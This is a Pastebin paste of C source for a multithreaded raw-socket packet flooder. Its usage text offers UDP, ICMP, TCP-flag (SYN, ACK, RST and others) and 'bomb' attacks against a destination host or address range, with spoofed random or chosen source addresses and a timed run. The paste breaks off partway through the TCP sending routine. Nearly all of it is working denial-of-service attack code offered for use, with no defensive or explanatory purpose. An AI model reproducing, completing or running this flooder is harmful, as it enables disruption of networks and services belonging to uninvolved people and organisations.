Advertisement
wtfbbq

poop.c

Jun 4th, 2015
1,593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 43.83 KB | None | 0 0
  1. #ifndef _BSD_SOURCE
  2. #define _BSD_SOURCE
  3. #endif
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <unistd.h>
  8. #include <netdb.h>
  9. #include <sys/types.h>
  10. #include <netinet/in_systm.h>
  11. #include <sys/socket.h>
  12. #include <string.h>
  13. #include <time.h>
  14. #include <signal.h>
  15.  
  16. #ifndef __USE_BSD
  17. #define __USE_BSD
  18. #endif
  19.  
  20. #ifndef __FAVOR_BSD
  21. #define __FAVOR_BSD
  22. #endif
  23.  
  24. #include <netinet/in.h>
  25. #include <netinet/ip.h>
  26. #include <netinet/ip6.h>
  27. #include <netinet/ip_icmp.h>
  28. #include <netinet/icmp6.h>
  29. #include <netinet/tcp.h>
  30. #include <netinet/udp.h>
  31. #include <netinet/ip_icmp.h>
  32. #include <arpa/inet.h>
  33. #include <pthread.h>
  34. #define INET_ADDR       16
  35. #define INET6_ADDR      46
  36.  
  37. #define TCP_FIN         1
  38. #define TCP_SYN         2
  39. #define TCP_RST         4
  40. #define TCP_PSH         8
  41. #define TCP_ACK         16
  42. #define TCP_URG         32
  43. #define TCP_ECE         64
  44. #define TCP_CWR         128
  45. #define TCP_NOF         256
  46.  
  47. #define TCP_BMB         512
  48. #define UDP_BMB         1024
  49. #define RAW_BMB         2048
  50.  
  51. #define UDP_CFF         4096
  52. #define ICMP_ECHO_G     8192
  53.  
  54. #define COMBINE         16384
  55.  
  56. #define ICMP_HDRLEN         8
  57.  
  58. /* TH_NOF */
  59. #define TH_NOF              0x0
  60.  
  61. #ifdef LINUX
  62. #   define FIX(x)  htons(x)
  63. #else
  64. #   define FIX(x)  (x)
  65. #endif
  66. // inject.c
  67. void inject(struct ip *ip, u_char p, u_char len);
  68. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  69.  
  70. /* START THREADS */
  71.  
  72. #define MAX_THREADS 32768
  73.  
  74. pthread_t attack_thread[MAX_THREADS];
  75.  
  76. struct thread_data
  77. {
  78.     int initialized;                // valid thread?
  79.     int flag4, flag6;               // v4 or v6
  80.  
  81.     int start; 
  82.     int packets;
  83.     unsigned int timeout;       // attack timeout
  84.     int thread;
  85.  
  86.     unsigned int bombsize;      // size of connect bomb
  87.     unsigned int datasize;      // size of tcp data after header   
  88.  
  89.     int socket;                     // rawsock
  90.     int a_flags;                    // a_flags
  91.  
  92.     struct sockaddr_in  destination4;
  93.     struct sockaddr_in6     destination6;
  94.  
  95.     u_long dstaddr;
  96.     u_char th_flags;
  97.  
  98.     int d_lport;
  99.     int d_hport;
  100.    
  101.     int s_lport;
  102.     int s_hport;
  103.  
  104.     char *src_class;
  105.     char *dst_class;
  106.  
  107.     char SrcIP4[INET_ADDR];
  108.     char SrcIP6[INET6_ADDR];
  109.  
  110.     char DestIP4[INET_ADDR];
  111.     char DestIP6[INET6_ADDR];
  112.  
  113. };
  114. struct thread_data thread_data_array[MAX_THREADS];
  115. /* END THREADS */
  116. void *send_tcp(void* arg);
  117. void *send_udp(void* arg);
  118. void *send_icmp(void* arg);
  119. void *send_bomb(void* arg);
  120. void  handle_exit();
  121.  
  122. // checksum.c
  123. unsigned short in_cksum(unsigned short *addr, int len);
  124. unsigned short xchecksum(unsigned short *buffer, int size);
  125.  
  126. // class2ip.c
  127. char *class2ip(const char *class);
  128. char *class2ip6(const char *class);
  129.  
  130. // inject.c
  131. void inject(struct ip *ip, u_char p, u_char len);
  132. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  133.  
  134. // lookup.c
  135. u_long lookup(const char *host);
  136.  
  137. // main.c
  138. int main(int argc, char *argv[]);
  139. struct pseudo_hdr
  140. {        
  141.     u_long saddr, daddr;    /* source and dest address   */
  142.     u_char mbz, ptcl;       /* zero and protocol         */
  143.     u_short tcpl;           /* tcp length                */
  144. };
  145.  
  146. struct checksum
  147. {
  148.     struct pseudo_hdr pseudo;
  149.     struct tcphdr tcp;
  150. };
  151. u_long lookup(const char *host)
  152. {
  153.     struct hostent *hp;
  154.  
  155.     if ( (hp = gethostbyname(host)) == NULL)
  156.     {
  157.         perror("gethostbyname");
  158.         exit(-1);
  159.     }
  160.  
  161.     return *(u_long *)hp->h_addr;
  162. }
  163.  
  164. static void
  165. usage(const char *argv0)
  166. {
  167.     // ADDRESS TYPE
  168.     printf("    -4 IPv4\n");
  169.     printf("    -6 IPv6\n");
  170.  
  171.     // ATTACK TYPES
  172.     printf("    -U UDP  attack                                        \e[1;37m(\e[0m\e[0;32mno options\e[0m\e[1;37m)\e[0m\n");
  173.     printf("    -I ICMP attack                                        \e[1;37m(\e[0m\e[0;32mno options\e[0m\e[1;37m)\e[0m\n");
  174.  
  175.     printf("    -T TCP  attack            [type,size]             \e[1;37m(\e[32m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  176.     printf("                                                      \e[1;37m(\e[32m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  177.     printf("                                                      \e[1;37m(\e[32m4:ACK   5: URG\e[1;37m)\e[0m\n");
  178.     printf("                                                      \e[1;37m(\e[32m6:ECE   7: CWR\e[1;37m)\e[0m\n"); 
  179.     printf("                                                      \e[1;37m(\e[32m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  180.  
  181.     printf("    -B BMB  attack            [type,size]      \e[1;37m(\e[32m0:TCP   1:UDP   2:RAW\e[1;37m)\e[0m\n"); 
  182.    
  183.     // SOURCE / DESTINATION ADDRESS / CLASS
  184.     printf("    -h destination ip                                     \e[1;37m(\e[0m\e[0;32mno default\e[0m\e[1;37m)\e[0m\n");
  185.     printf("    -d destination class                                  \e[1;37m(\e[0m\e[0;32mno default\e[0m\e[1;37m)\e[0m\n");
  186.     printf("    -s source class/ip                                        \e[1;37m(\e[m\e[0;32mrandom\e[0m\e[1;37m)\e[0m\n");
  187.  
  188.     // DESTINATION PORT
  189.     printf("    -p destination port range [start,end]                     \e[1;37m(\e[0m\e[0;32mrandom\e[0m\e[1;37m)\e[0m\n");
  190.     printf("    -q source port range      [start,end]                     \e[1;37m(\e[0m\e[0;32mrandom\e[0m\e[1;37m)\e[0m\n");
  191.     // TIMEOUT
  192.     printf("    -t timeout                                            \e[1;37m(\e[0m\e[0;32mno default\e[0m\e[1;37m)\e[0m\n");
  193.  
  194.     printf("\e[1musage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  195.     exit(-1);
  196. }
  197. char *src_class, *dst_class = NULL;
  198.  
  199. char *class2ip(const char *class)
  200. {
  201.     static char ip[INET_ADDR];
  202.     int i, j;
  203.  
  204.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  205.         if (class[i] == '.')
  206.             ++j;
  207.  
  208.     switch (j)
  209.     {
  210.         case 0:
  211.             sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
  212.             break;
  213.         case 1:
  214.             sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
  215.             break;
  216.         case 2:
  217.             sprintf(ip, "%s.%d", class, (int) random() % 255+1);
  218.             break;
  219.  
  220.         /* Spoofing single host */
  221.         default: strncpy(ip, class, INET_ADDR);
  222.                  break;
  223.     }
  224.     return ip;
  225. }
  226. unsigned short
  227. in_cksum(unsigned short *addr, int len)
  228. {
  229.     int nleft = len;
  230.     int sum = 0;
  231.     unsigned short *w = addr;
  232.     unsigned short answer = 0;
  233.  
  234.     while (nleft > 1)
  235.     {
  236.         sum += *w++;
  237.         nleft -= 2;
  238.     }
  239.  
  240.     if (nleft == 1)
  241.     {
  242.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  243.         sum += answer;
  244.     }
  245.  
  246.     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
  247.     sum   += (sum >> 16);                   /* add carry           */
  248.     answer = ~sum;                          /* truncate to 16 bits */
  249.  
  250.     return answer;
  251. }
  252.  
  253. unsigned short
  254. xchecksum(unsigned short *buffer, int size) {
  255.     unsigned int sum = 0;
  256.     __asm__ __volatile__(
  257.         "movl   (%1),   %0\n"
  258.         "subl   $4,         %2\n"
  259.         "jbe        2f\n"
  260.         "addl   4(%1),  %0\n"
  261.         "adcl   8(%1),  %0\n"
  262.         "adcl   12(%1),     %0\n"
  263.         "1:\n"
  264.         "adcl   16(%1),     %0\n"
  265.         "lea        4(%1),  %1\n"
  266.         "decl   %2\n"
  267.         "jne        1b\n"
  268.         "adcl   $0,         %0\n"
  269.         "movl   %0,         %2\n"
  270.         "shrl   $16,        %0\n"
  271.         "addw   %w2,        %w0\n"
  272.         "adcl   $0,         %0\n"
  273.         "notl   %0\n"
  274.         "2:\n"
  275.         : "=r" (sum),       "=r" (buffer),  "=r" (size)
  276.         : "1"  (buffer),    "2"  (size)
  277.     );
  278.         return(sum);
  279. }
  280.  
  281. char *class2ip6(const char *class)
  282. {
  283.     static char ip[INET6_ADDR];  
  284.     uint16_t n;
  285.  
  286.     int x, y;
  287.     for (x = 0, y = 0; class[x] != '\0'; ++x)
  288.         if (class[x] == ':')
  289.             ++y;
  290.  
  291.     int i;
  292.     for (i = 0; i < 7; i++)
  293.     {
  294.         char hex[3][i];
  295.         n = mrand48();                      // #1
  296.         n = rand();                         // #2
  297.         FILE * f = fopen("/dev/urandom", "rb");
  298.         fread(&n, sizeof(uint16_t), 1, f);  // #3
  299.         sprintf(hex[i], "%04X", n);
  300.  
  301.         if(i==0)
  302.             strcpy(ip, class);
  303.         strcat(ip, hex[i]);
  304.         if(i<6)
  305.             strcat(ip, ":");
  306.     }
  307.     return ip;
  308.  
  309. }
  310.  
  311. void
  312. inject(struct ip *ip, u_char p, u_char len)
  313. {
  314.    /* Filling IP header */
  315.    ip->ip_hl             = 5;
  316.    ip->ip_v              = 4;
  317.    ip->ip_p              = p;
  318.    ip->ip_tos            = 0x08; /* 0x08 */
  319.    ip->ip_id             = random();
  320.    ip->ip_len            = len;
  321.    ip->ip_off            = 0;
  322.    ip->ip_ttl            = 255;
  323.  
  324.    ip->ip_dst.s_addr     = thread_data_array[0].dst_class != NULL ?
  325.                             inet_addr(class2ip(thread_data_array[0].dst_class)) :
  326.                             thread_data_array[0].dstaddr;
  327.  
  328.    ip->ip_src.s_addr     = thread_data_array[0].src_class != NULL ?
  329.                             inet_addr(class2ip(thread_data_array[0].src_class)) :
  330.                             random();
  331.  
  332.    thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  333. }
  334.  
  335. void
  336. inject6(struct ip6_hdr *ip, u_char p, u_char len)
  337. {
  338.     ip->ip6_ctlun.ip6_un1.ip6_un1_flow  = htonl ((6 << 28) | (0 << 20) | 0);
  339.  
  340.     ip->ip6_ctlun.ip6_un1.ip6_un1_plen  = htons( 8 + len );
  341.  
  342.     ip->ip6_ctlun.ip6_un1.ip6_un1_nxt   = p;
  343.     ip->ip6_ctlun.ip6_un1.ip6_un1_hlim  = 255;
  344.  
  345.     inet_pton (AF_INET6, thread_data_array[0].DestIP6,   &ip->ip6_dst);
  346.     inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  347.  
  348.     thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  349.  
  350. }
  351.  
  352. int
  353. main(int argc, char *argv[])
  354. {
  355.    int i = 0, n;
  356.     int on = 1;
  357.  
  358.    struct sockaddr_in  DestAddress4;
  359.    struct sockaddr_in6 DestAddress6;
  360.  
  361.     while ( (n = getopt(argc, argv, "46T:B:IUh:d:s:t:p:q:")) != -1)
  362.     {
  363.       char *p;
  364.       unsigned int bombsize = 0;      
  365.       unsigned int datasize = 0;
  366.  
  367.         switch (n)
  368.         {
  369.             case '4':
  370.                 thread_data_array[0].flag4 = 1;
  371.                 break;
  372.             case '6':
  373.                 thread_data_array[0].flag6 = 1;
  374.                 break;
  375.             case 'T':
  376.             if ( (p = (char *) strchr(optarg, ',')) == NULL)
  377.                 datasize = 4;
  378.                
  379.                 if(datasize == 0)
  380.                     datasize = atoi(p + 1);  
  381.                
  382.                 if(datasize > 1024)
  383.                     datasize = 1024;                               
  384.  
  385.             switch (atoi(optarg))
  386.                 {
  387.                     case 0:
  388.                         thread_data_array[TCP_FIN].initialized  = 1;
  389.                        
  390.                         thread_data_array[0].a_flags |= TCP_FIN;
  391.                         thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  392.                         thread_data_array[TCP_FIN].datasize = datasize;
  393.                         break;
  394.                   case 1:
  395.                         thread_data_array[TCP_SYN].initialized  = 1;
  396.  
  397.                         thread_data_array[0].a_flags |= TCP_SYN;
  398.                         thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  399.                         thread_data_array[TCP_SYN].datasize = datasize;                    
  400.                         break;
  401.                   case 2:
  402.                         thread_data_array[TCP_RST].initialized  = 1;
  403.  
  404.                         thread_data_array[0].a_flags            |= TCP_RST;
  405.                         thread_data_array[TCP_RST].a_flags  |= TCP_RST;
  406.                         thread_data_array[TCP_RST].datasize = datasize;                    
  407.                         break;
  408.                   case 3:
  409.                         thread_data_array[TCP_PSH].initialized  = 1;
  410.  
  411.                         thread_data_array[0].a_flags            |= TCP_PSH;
  412.                         thread_data_array[TCP_PSH].a_flags  |= TCP_PSH;
  413.                         thread_data_array[TCP_PSH].datasize = datasize;                    
  414.                         break;
  415.                   case 4:
  416.                         thread_data_array[TCP_ACK].initialized  = 1;
  417.  
  418.                         thread_data_array[0].a_flags            |= TCP_ACK;
  419.                         thread_data_array[TCP_ACK].a_flags  |= TCP_ACK;
  420.                         thread_data_array[TCP_ACK].datasize = datasize;                    
  421.                         break;
  422.                   case 5:
  423.                         thread_data_array[TCP_URG].initialized  = 1;
  424.  
  425.                         thread_data_array[0].a_flags            |= TCP_URG;
  426.                         thread_data_array[TCP_URG].a_flags  |= TCP_URG;
  427.                         thread_data_array[TCP_URG].datasize = datasize;                    
  428.                         break;
  429.                   case 6:
  430.                         thread_data_array[TCP_ECE].initialized  = 1;
  431.  
  432.                         thread_data_array[0].a_flags            |= TCP_ECE;
  433.                         thread_data_array[TCP_ECE].a_flags  |= TCP_ECE;
  434.                         thread_data_array[TCP_ECE].datasize = datasize;                    
  435.                         break;
  436.                   case 7:
  437.                         thread_data_array[TCP_CWR].initialized  = 1;
  438.  
  439.                         thread_data_array[0].a_flags            |= TCP_CWR;
  440.                         thread_data_array[TCP_CWR].a_flags  |= TCP_CWR;
  441.                         thread_data_array[TCP_CWR].datasize = datasize;                    
  442.                         break;                                             
  443.                   case 8:
  444.                         thread_data_array[TCP_NOF].initialized  = 1;
  445.  
  446.                         thread_data_array[0].a_flags            |= TCP_NOF;
  447.                         thread_data_array[TCP_NOF].a_flags  |= TCP_NOF;
  448.                         thread_data_array[TCP_NOF].datasize = datasize;                    
  449.                         break;                     
  450.                 }
  451.                 break;
  452.             case 'B':
  453.             if ( (p = (char *) strchr(optarg, ',')) == NULL)
  454.                 bombsize = 64;
  455.                
  456.                 if(bombsize == 0)
  457.                     bombsize = atoi(p + 1);  
  458.                
  459.                 if(bombsize > 2048)
  460.                     bombsize = 2048;  
  461.                                            
  462.             switch (atoi(optarg))
  463.                 {          
  464.                     case 0:
  465.                         thread_data_array[TCP_BMB].initialized  = 1;
  466.                        
  467.                         thread_data_array[0].a_flags |= TCP_BMB;
  468.                         thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  469.                         thread_data_array[TCP_BMB].bombsize = bombsize;                    
  470.                         break;     
  471.                     case 1:
  472.                         thread_data_array[UDP_BMB].initialized  = 1;
  473.                        
  474.                         thread_data_array[0].a_flags |= UDP_BMB;
  475.                         thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  476.                         thread_data_array[UDP_BMB].bombsize = bombsize;                    
  477.                         break;
  478.                     case 2:
  479.                         thread_data_array[RAW_BMB].initialized  = 1;
  480.                        
  481.                         thread_data_array[0].a_flags |= RAW_BMB;
  482.                         thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  483.                         thread_data_array[RAW_BMB].bombsize = bombsize;                    
  484.                         break;                                                 
  485.                 }      
  486.                 break;                             
  487.             case 'I':
  488.                 thread_data_array[ICMP_ECHO_G].initialized = 1;
  489.  
  490.                 thread_data_array[0].a_flags |= ICMP_ECHO_G;
  491.                 thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  492.                 break;
  493.             case 'U':
  494.                 thread_data_array[UDP_CFF].initialized = 1;
  495.  
  496.                 thread_data_array[0].a_flags |= UDP_CFF;
  497.                 thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  498.                 break;         
  499.             case 'h':
  500.                 if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  501.                 {
  502.                     DestAddress4.sin_family     = AF_INET;
  503.                     inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  504.                     thread_data_array[0].dstaddr = lookup(optarg);
  505.  
  506.                     thread_data_array[0].destination4   =   DestAddress4;
  507.                 }
  508.                 else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  509.                 {
  510.                     DestAddress6.sin6_family    = AF_INET6;
  511.                     inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  512.  
  513.                     thread_data_array[0].destination6   =   DestAddress6;
  514.                 }
  515.                 else
  516.                 {
  517.                     printf("-4 and -6 can not both be specified.\n\n");
  518.                     usage(argv[0]);                
  519.                 }
  520.                 break;
  521.             case 'd':
  522.                 thread_data_array[0].dst_class = optarg;
  523.                 break;
  524.             case 's':
  525.                 thread_data_array[0].src_class = optarg;
  526.                 break;
  527.             case 'p':
  528.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  529.                     usage(argv[0]);
  530.                 thread_data_array[0].d_lport = atoi(optarg);    /* Destination start port */
  531.                 thread_data_array[0].d_hport = atoi(p + 1);     /* Destination end port */
  532.                 break;
  533.             case 'q':
  534.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  535.                     usage(argv[0]);
  536.                 thread_data_array[0].s_lport = atoi(optarg);    /* Source start port */
  537.                 thread_data_array[0].s_hport = atoi(p + 1);     /* Source end port */
  538.                 break;
  539.             case 't':
  540.                 thread_data_array[0].timeout = atoi(optarg);
  541.                 break;
  542.             default:
  543.                 usage(argv[0]);
  544.                 break;
  545.         }
  546.     }
  547.     if (!thread_data_array[0].timeout)
  548.     {
  549.         usage(argv[0]);
  550.     }
  551.  
  552.     if (!thread_data_array[0].src_class)
  553.     {
  554.         if(thread_data_array[0].flag6 == 1)
  555.         {
  556.             static char ipstring[3];
  557.             strcat(ipstring, "2001:");
  558.             thread_data_array[0].src_class = class2ip6(ipstring);
  559.             //printf("\n\e[1;37merror: -s must be specified with -6\n\n");
  560.             //usage(argv[0]);
  561.         }
  562.     }
  563.  
  564.     if (    (!thread_data_array[0].flag4 && !thread_data_array[0].flag6)    ||
  565.             (!thread_data_array[0].a_flags)                                             ||
  566.             (!thread_data_array[0].timeout)
  567.         )              
  568.        
  569.     {
  570.         usage(argv[0]);
  571.     }
  572.  
  573.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  574.     {
  575.         int i;
  576.       for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  577.         {  
  578.             if ( thread_data_array[i].initialized == 1 )
  579.             {
  580.                 if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  581.                 {
  582.                     perror("socket");
  583.                     exit(-1);
  584.                 }  
  585.  
  586.                 if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
  587.                 {
  588.                     perror("setsockopt");
  589.                     exit(-1);
  590.                 }
  591.             }
  592.         }
  593.  
  594.         printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",     thread_data_array[0].dst_class != NULL ?
  595.                                                                                                             thread_data_array[0].dst_class :
  596.                                                                                                             inet_ntop(AF_INET,
  597.                                                                                                                     &thread_data_array[0].destination4.sin_addr,
  598.                                                                                                                     thread_data_array[0].DestIP4,
  599.                                                                                                                     sizeof(thread_data_array[0].DestIP4)),
  600.                                                                                                                     //thread_data_array[0].src_class,
  601.                                                                                                                     thread_data_array[0].src_class != NULL ?
  602.                                                                                                             thread_data_array[0].src_class :
  603.                                                                                                             "random",                                                                                                                  
  604.                                                                                                                     thread_data_array[0].a_flags,
  605.                                                                                                                     thread_data_array[0].timeout);
  606.        
  607.         printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);                                                                                                                                                                                                                                      
  608.     }
  609.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  610.     {
  611.         int i;
  612.       for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  613.         {
  614.             if ( thread_data_array[i].initialized== 1 )
  615.             {
  616.                 if (thread_data_array[i].a_flags <= TCP_BMB )              
  617.                 {
  618.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0)
  619.                     {
  620.                         perror("socket");
  621.                         exit(-1);
  622.                     }
  623.                 }
  624.                 else if (thread_data_array[i].a_flags == UDP_CFF)
  625.                 {
  626.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0)
  627.                     {
  628.                         perror("socket");
  629.                         exit(-1);
  630.                     }
  631.                 }
  632.                 else if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  633.                 {
  634.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0)
  635.                     {
  636.                         perror("socket");
  637.                         exit(-1);
  638.                     }
  639.                 }
  640.  
  641.                 if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0)
  642.                 {
  643.                     perror("setsockopt");
  644.                     exit(-1);
  645.                 }
  646.             }
  647.         }
  648.         printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",     thread_data_array[0].dst_class != NULL ?
  649.                                                                                                         thread_data_array[0].dst_class :
  650.                                                                                                             inet_ntop(AF_INET6,
  651.                                                                                                                     &thread_data_array[0].destination6.sin6_addr,
  652.                                                                                                                     thread_data_array[0].DestIP6,
  653.                                                                                                                     sizeof(thread_data_array[0].DestIP6)),
  654.                                                                                                                     thread_data_array[0].src_class,
  655.                                                                                                                     thread_data_array[0].a_flags,
  656.                                                                                                                     thread_data_array[0].timeout);
  657.         printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);                                                                                                                  
  658.     }
  659.                
  660.  
  661.     signal (SIGINT,  handle_exit);
  662.     signal (SIGTERM, handle_exit);
  663.     signal (SIGQUIT, handle_exit);
  664.  
  665.     thread_data_array[0].start      = time(NULL);
  666.  
  667.    for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  668.     {      
  669.         if (thread_data_array[i].a_flags == TCP_FIN)
  670.         {
  671.             thread_data_array[i].thread     = i;
  672.             thread_data_array[i].packets        = 0;
  673.  
  674.             thread_data_array[i].th_flags   = TH_FIN;
  675.            
  676.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  677.         {
  678.             printf("+    Thread error:\n");
  679.             perror("-    pthread_create()\n");
  680.             }
  681.         }
  682.         if (thread_data_array[i].a_flags == TCP_SYN)
  683.         {
  684.             thread_data_array[i].thread     = i;
  685.             thread_data_array[i].packets        = 0;
  686.            
  687.  
  688.             thread_data_array[i].th_flags   = TH_SYN;
  689.  
  690.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  691.         {
  692.             printf("+    Thread error:\n");
  693.             perror("-    pthread_create()\n");
  694.             }
  695.         }
  696.         if (thread_data_array[i].a_flags == TCP_RST)
  697.         {
  698.             thread_data_array[i].thread     = i;
  699.             thread_data_array[i].packets        = 0;
  700.  
  701.             thread_data_array[i].th_flags   = TH_RST;
  702.  
  703.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  704.         {
  705.             printf("+    Thread error:\n");
  706.             perror("-    pthread_create()\n");
  707.             }
  708.         }
  709.         if (thread_data_array[i].a_flags == TCP_PSH)
  710.         {
  711.             thread_data_array[i].thread     = i;
  712.             thread_data_array[i].packets        = 0;
  713.  
  714.             thread_data_array[i].th_flags   = TH_PUSH;
  715.  
  716.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  717.         {
  718.             printf("+    Thread error:\n");
  719.             perror("-    pthread_create()\n");
  720.             }
  721.         }
  722.         if (thread_data_array[i].a_flags == TCP_ACK)
  723.         {
  724.             thread_data_array[i].thread     = i;
  725.             thread_data_array[i].packets        = 0;
  726.  
  727.             thread_data_array[i].th_flags   = TH_ACK;
  728.  
  729.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  730.         {
  731.             printf("+    Thread error:\n");
  732.             perror("-    pthread_create()\n");
  733.             }
  734.         }
  735.         if (thread_data_array[i].a_flags == TCP_URG)
  736.         {
  737.             thread_data_array[i].thread     = i;
  738.             thread_data_array[i].packets        = 0;
  739.  
  740.  
  741.             thread_data_array[i].th_flags   = TH_URG;
  742.            
  743.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  744.         {
  745.             printf("+    Thread error:\n");
  746.             perror("-    pthread_create()\n");
  747.             }
  748.         }
  749.         if (thread_data_array[i].a_flags == TCP_NOF)
  750.         {
  751.             thread_data_array[i].thread     = i;
  752.             thread_data_array[i].packets        = 0;
  753.  
  754.  
  755.             thread_data_array[i].th_flags   = TH_NOF;
  756.            
  757.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  758.         {
  759.             printf("+    Thread error:\n");
  760.             perror("-    pthread_create()\n");
  761.             }
  762.         }      
  763.  
  764.         if (thread_data_array[i].a_flags == TCP_BMB)
  765.         {
  766.             thread_data_array[i].thread     = i;
  767.             thread_data_array[i].packets        = 0;
  768.  
  769.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  770.         {
  771.                 printf("+    Thread error:\n");
  772.                 perror("-    pthread_create()\n");
  773.             }
  774.         }
  775.         if (thread_data_array[i].a_flags == UDP_BMB)
  776.         {
  777.             thread_data_array[i].thread     = i;
  778.             thread_data_array[i].packets        = 0;
  779.  
  780.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  781.         {
  782.                 printf("+    Thread error:\n");
  783.                 perror("-    pthread_create()\n");
  784.             }
  785.         }
  786.         if (thread_data_array[i].a_flags == RAW_BMB)
  787.         {
  788.             thread_data_array[i].thread     = i;
  789.             thread_data_array[i].packets        = 0;
  790.  
  791.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  792.         {
  793.                 printf("+    Thread error:\n");
  794.                 perror("-    pthread_create()\n");
  795.             }
  796.         }              
  797.         if (thread_data_array[i].a_flags == UDP_CFF)
  798.         {
  799.             thread_data_array[i].thread     = i;
  800.             thread_data_array[i].packets        = 0;
  801.  
  802.             if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0)
  803.         {
  804.                 printf("+    Thread error:\n");
  805.                 perror("-    pthread_create()\n");
  806.             }
  807.         }
  808.         if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  809.         {
  810.             thread_data_array[i].thread     = i;
  811.             thread_data_array[i].packets        = 0;
  812.  
  813.             if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0)
  814.         {
  815.                 printf("+    Thread error:\n");
  816.                 perror("-    pthread_create()\n");
  817.             }
  818.         }
  819.     }
  820.    for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  821.    {
  822.      if(attack_thread[i] != 0)
  823.             pthread_join(attack_thread[i], NULL);
  824.     }
  825.     exit(0);
  826. }
  827. void *send_tcp(void* arg)
  828. {
  829.     struct thread_data *param2  = arg;
  830.  
  831.    struct checksum checksum;
  832.    struct packet
  833.     {
  834.     struct ip ip;
  835.       struct tcphdr tcp;
  836.     char buf[param2->datasize];        
  837.    } packet;
  838.  
  839.    struct packet6
  840.     {
  841.     struct ip6_hdr ip;
  842.       struct tcphdr tcp;
  843.     char buf[param2->datasize];      
  844.    } packet6;
  845.  
  846.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  847.    
  848.     int i;
  849.     for (i = sizeof(packet) + 1; i < (param2->datasize); i++)
  850.     {
  851.         packet.buf[i] = '\x00';
  852.     }
  853.            
  854.     signal(SIGALRM, handle_exit);  
  855.     alarm(thread_data_array[0].timeout);
  856.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  857.     {
  858.         do     
  859.         {
  860.             /* Filling IP header */
  861.             memset(&packet, 0, sizeof packet);
  862.             inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  863.    
  864.             packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  865.  
  866.            /* Filling cksum pseudo header */
  867.            checksum.pseudo.daddr        =   thread_data_array[0].dstaddr;
  868.            checksum.pseudo.mbz          =   0;
  869.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  870.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  871.            checksum.pseudo.saddr        =   packet.ip.ip_src.s_addr;
  872.  
